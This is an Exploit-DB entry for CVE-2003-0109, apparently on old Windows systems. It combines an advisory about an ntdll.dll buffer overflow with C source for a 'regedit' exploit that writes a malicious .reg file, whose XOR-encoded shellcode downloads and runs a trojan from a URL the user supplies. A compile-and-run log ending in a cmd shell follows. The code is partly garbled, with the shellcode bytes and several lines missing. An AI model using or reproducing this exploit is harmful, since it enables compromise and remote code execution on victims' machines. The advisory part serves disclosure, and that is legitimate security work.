Microsoft Windows XP/2000/NT 4 ntdll.dll Buffer Overflow Vulnerability 2

ID EDB-ID:22366
Type exploitdb
Reporter ThreaT
Modified 2003-03-31T00:00:00


Microsoft Windows XP/2000/NT 4 ntdll.dll Buffer Overflow Vulnerability (2). CVE-2003-0109. Remote exploit for windows platform

The Windows library ntdll.dll includes a function that does not perform sufficient bounds checking. The vulnerability is present in the function "RtlDosPathNameToNtPathName_U" and may be exploited through other programs that use the library if an attack vector permits it. One of these programs is the implementation of WebDAV that ships with IIS 5.0. The vector allows for the vulnerability in ntdll.dll to be exploited by a remote attacker.
Several other library functions which call the vulnerable ntdll.dll procedure have been identified. Administrators are advised to patch as other attack vectors are likely to surface.
** Microsoft has revised its advisory to state that this vulnerability affects Windows NT systems. As Windows NT does not support WebDAV, exploits using WebDAV as the attack vector will not be effective against Windows NT systems. Windows XP does not also include WebDAV by default, but other attack vectors may be possible, especially in cases where the attacker has interactive access to the system. WebDAV may be installed by a user on Windows XP with IIS 5.1, so WebDAV may be a possible means of exploitation in these circumstances.
** Reports suggest that numerous hosts have been scanned in an attempt to exploit this vulnerability. Although unconfirmed, this may be the result of a system of automated attacks.
** It has been reported that this vulnerability is also present in the "RtlGetFullPathName_U" function. The supplied Microsoft patch (Q815021) also corrects this function.
** It has been reported that the W32.Welchia.Worm, described in MCID 1811, is actively exploiting this vulnerability.

 *@ REGEDIT Buffer Overflow Exploit ! @*
 *                                     *
 *   Discovered & coded By ThreaT.     *
 *                                     *
 *# ->             #*
 *# ->        #*
 *# ->          #*
 * Date : 31/03/2003                   *

 * This exploit create a malicious .reg file  *
 * that when it try to write data into the    *
 * registery, overwrite the ret addr, because * 
 * a ReadFile() unchecked function work with  *
 * a static buffer, and execute our abitrary  *
 * code who download a trojan for local       *
 * execution without user ask !               *
 -> compile : cl regexploit.c

  usage : regexploit.exe <url>

  <url> is a full link to an executable file, it can be like or file://c:/path/executable.exe


// Tested on Win2k pro & server (fr) SP0 SP1 SP2 & SP3

#include <windows.h>


char *ToWideChar(const char *cszANSIstring) 
	int nBufSize;
	WCHAR *wideString;

	if(cszANSIstring == NULL) return NULL; 

	nBufSize = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cszANSIstring, -1, NULL, 0 );
	wideString = (WCHAR *)malloc(nBufSize +1);
	MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cszANSIstring, -1, wideString, nBufSize);
	return (char*)(wideString);

void Write (const char *str, int number)
	DWORD lpNumberOfBytesWritten;
	WriteFile (RegFile,str,number,&lpNumberOfBytesWritten,NULL);

void main (int argc, char *argv[])
	int i;
	char entete[] = "Windows Registry Editor Version 5.00\r\n\r\n"

	*MastaBuff, *myurl,

	RealGenericShellcode[] = 

	"\xAA\xC6\x02\x01" // Adresse de retour

	// nop

	// decrypteur de shellcode

	// shellcode xorised avec 0x99

	printf ("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n"
		"Regedit.exe Buffer Overflow Exploit\n"
		"Discovered & Coded By ThreaT.\n\n"
		"contact :\n"
		"URL :\n\n");

	if (!argv[1])
		printf ("_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_\n"
			"Usage   : regexploit.exe <URL://trojan.exe>\n"
			"Exemple : regexploit.exe file://c:/winnt/system32/cmd.exe\n"
		ExitProcess (0);

	/* Creation du fichier Reg malicieux */

	RegFile = CreateFile ("VulnFile.reg",GENERIC_WRITE,FILE_SHARE_WRITE,

		printf ("Cannot create a vuln regfile !\n");
		ExitProcess (0);

	Write ("\xFF\xFE",2); // header .reg script
	Write (ToWideChar (entete),strlen (entete)*2); // entê regedit
	MastaBuff = (char *) LocalAlloc (LPTR,270);		// rempli la premiere partie
	MastaBuff[0] = '"';	memset (&MastaBuff[1],'0',260); // avec des zeros
	Write (ToWideChar (MastaBuff),strlen (MastaBuff)*2); // Ecrit dans le fichier la 1er parti de la vuln str

	myurl = (char *) LocalAlloc (LPTR, strlen (argv[1])+10);
	lstrcpy (myurl,argv[1]);

	for (i=0; i < strlen (argv[1]); argv[1][i++]^=0x99); // encrypte l'URL
	lstrcat (RealGenericShellcode,argv[1]); // creation du shellcode final
	lstrcat (RealGenericShellcode,"\x99");  // caractere de terminaison

	Write (RealGenericShellcode,strlen (RealGenericShellcode)); // rajoute le shellcode au fichier

	CloseHandle (RegFile);

	printf ("un fichier .reg vulnerable appele VulnFile.reg viens d'etre cree\n"
		"pour downloader et executer '%s'\n",myurl);



D:\code\exploits\regedit>cl regexploit.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.


Regedit.exe Buffer Overflow Exploit
Discovered & Coded By ThreaT.

contact :

Usage   : regexploit.exe <URL://trojan.exe>
Exemple : regexploit.exe file://c:/winnt/system32/cmd.exe

D:\code\exploits\regedit>regexploit file://c:/winnt/system32/cmd.exe
Regedit.exe Buffer Overflow Exploit
Discovered & Coded By ThreaT.

contact :

un fichier .reg vulnerable appele VulnFile.reg viens d'etre cree
pour downloader et executer 'file://c:/winnt/system32/cmd.exe'

D:\code\exploits\regedit>dir VulnFile.reg
 Le volume dans le lecteur D n'a pas de nom.
 Le numé de sée du volume est 90CC-3FC3

 Rértoire de D:\code\exploits\regedit

31/03/2003  14:54                1 015 VulnFile.reg
               1 fichier(s)            1 015 octets
               0 Rés)   5 602 033 664 octets libres



  ês vous sû vouloir ajouter l'information dans d:\code\exploits\regedit\VulnFile.reg 
  dans le registre ?

  -> OUI

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.


  this is too easy...